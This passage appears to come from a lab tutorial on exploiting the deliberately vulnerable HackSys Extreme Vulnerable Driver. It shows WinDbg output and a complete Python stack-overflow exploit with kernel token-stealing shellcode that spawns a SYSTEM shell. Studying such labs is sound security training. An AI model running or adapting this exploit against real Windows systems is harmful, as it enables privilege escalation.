2: kd> dt _EPROCESS 856f0888 -r Token
ntdll!_EPROCESS
+0x0f8 Token : _EX_FAST_REF
2: kd> !Thread
THREAD 86cdfcd0 Cid 0e60.02e4 Teb: 7ffdf000 Win32Thread: fdc99378 RUNNING on processor 2
IRP List:
87111308: (0006,0094) Flags: 00060000 Mdl: 00000000
Not impersonating
DeviceMap 927e44a8
Owning Process 86a0d6d0 Image: python.exe

后面直接把token替换即可。

但是这里因为最终没有修复ebp,所以在shellcode后面需要按照原有的retn 0x8修复一下ebp,即:

1
2
pop ebp
ret 0x8

于是最终的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import struct
import os
from ctypes import *

GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x00000003
FILE_ATTRIBUTE_NORMAL = 0x00000080
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040

NULL = None

def main():

kernel32 = windll.kernel32
hHEVD = kernel32.CreateFileA(b"\\\\.\\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL)
if (hHEVD == -1):
print("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n")
exit(-1)

shellcode = bytearray()

# python3 sickle.py -a x86 -v shellcode -p windows/x86/kernel_token_stealer -f python3 -m pinpoint
shellcode += b'\x60' # pushal
shellcode += b'\x31\xc0' # xor eax, eax
shellcode += b'\x64\x8b\x80\x24\x01\x00\x00' # mov eax, dword ptr fs:[eax + 0x124]
shellcode += b'\x8b\x40\x50' # mov eax, dword ptr [eax + 0x50]
shellcode += b'\x89\xc1' # mov ecx, eax
shellcode += b'\xba\x04\x00\x00\x00' # mov edx, 4
shellcode += b'\x8b\x80\xb8\x00\x00\x00' # mov eax, dword ptr [eax + 0xb8]
shellcode += b'\x2d\xb8\x00\x00\x00' # sub eax, 0xb8
shellcode += b'\x39\x90\xb4\x00\x00\x00' # cmp dword ptr [eax + 0xb4], edx
shellcode += b'\x75\xed' # jne 0x1014
shellcode += b'\x8b\x90\xf8\x00\x00\x00' # mov edx, dword ptr [eax + 0xf8]
shellcode += b'\x89\x91\xf8\x00\x00\x00' # mov dword ptr [ecx + 0xf8], edx
shellcode += b'\x61' # popal

shellcode += b'\x5D' # pop ebp
shellcode += b'\xC2\x08\x00' # ret 0x8

print("[*] Allocating RWX memory")
ptrMemory = kernel32.VirtualAlloc(NULL,
len(shellcode),
(MEM_COMMIT | MEM_RESERVE),
PAGE_EXECUTE_READWRITE)

print("[*] Creating a char array to house shellcode")
buffer = (c_char * len(shellcode)).from_buffer(shellcode)

print("[*] Copying shellcode array into RWX memory")
kernel32.RtlMoveMemory(c_int(ptrMemory), buffer, len(shellcode))

ptrShellcode = struct.pack("<L", ptrMemory)

buffer = b"A" * 2080
buffer += ptrShellcode

print("[*] Calling control code 0x222003\n")
kernel32.DeviceIoControl(hHEVD,
0x222003,
buffer,
len(buffer),
NULL,
0x00,
byref(c_ulong()),
NULL)

os.system("cmd.exe")

main()